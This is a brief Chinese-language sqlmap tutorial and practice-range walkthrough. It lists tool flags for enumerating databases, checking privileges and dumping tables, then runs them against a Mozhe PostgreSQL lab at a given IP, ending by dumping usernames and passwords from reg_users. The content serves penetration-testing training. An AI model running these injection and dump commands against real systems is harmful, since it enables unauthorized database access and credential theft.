SQLmap简单使用
python sqlmap.py -u xxxx 指定一个URL地址
注入过程中,SQLmap会显示出注入类型,并给出一个payload
python sqlmap.py -u xxxx -v 3 3级注入,可以看到详细的注入过程(看到具体语法)
--dbs 列出所有数据库
--is-dba 判断是否为最高权限
--privileges 判断是否为最高权限
--tables 列出表
--columns 列出字段
--cookie 使用cookie注入
-a, --all 检索全部
-b, --banner 检索 banner
--current-user 检索当前用户
--current-db 检索当前数据库
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
--dump Dump DBMS数据库表的条目
--dump-all Dump 所有DBMS数据库表的条目
--dbms=xxx 确定该网站是什么数据库时
--sql-shell 直接进数据库
#组合使用
--tables -D "" 查指定数据库下表
--columns -T "reg_users" -D "public" 查列
--dump -C "name,password" -T "reg_users" -D "public" 查数据
测试靶场:墨者—postgresql
PostgreSQL和MySQL一样,也有 information_schema 数据库。
python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1

python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --dbs 判断数据库数目

python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --is-dba 判断是否为最高权限
或者python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --privileges

python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --current-db 判断当前网站数据库
python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --tables 查表
python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --tables -D "public" 查指定数据库public下表

python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --columns -T "reg_users" -D "public" 查列

python sqlmap.py -u http://219.153.49.228:44748/new_list.php?id=1 --dump -C "name,password" -T "reg_users" -D "public" 查数据

尝试后,mozhe1得到数据正确
|